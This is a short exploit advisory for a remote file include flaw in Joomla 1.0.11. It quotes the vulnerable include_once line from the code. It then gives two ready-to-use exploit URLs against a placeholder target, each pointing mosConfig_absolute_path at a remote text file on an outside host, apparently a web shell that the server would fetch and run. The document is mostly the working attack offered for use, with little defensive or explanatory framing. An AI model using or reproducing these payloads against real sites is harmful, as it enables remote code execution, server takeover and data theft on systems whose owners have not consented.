Joomla 1.0.11 Remote File Include

[escalation666]

Author : Super-Crystal

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==

website: =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--==-=-==-=

Bug'>http://www.joomla.org/

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--==-=-==-=

Bug : include_once ( $mosConfig_absolute_path . '/language/'.

$mosConfig_lang .'.php' );

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--==-=-==-=

Exploit :

www.target.com/script_path/installation/index.php?mosConfig_absolute_path=http://www.arab4services.com/c-h.v2.txt?

------>

www.target.com/script_path/administrator/components/com_admin/admin.admin.html.php?mosConfig_absolute_path=http://www.arab4services.com/c-h.v2.txt?

Script Download

http://forge.joomla.org/sf/frs/do/downloadFile/projects.joomla/frs.joomla_1_0.1_0_11/frs6654;jsessionid=860E9B227E096AAC4453A3B1FDCE77F5?dl=1

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Thanx : Arab4Services Team http://www.arab4services.com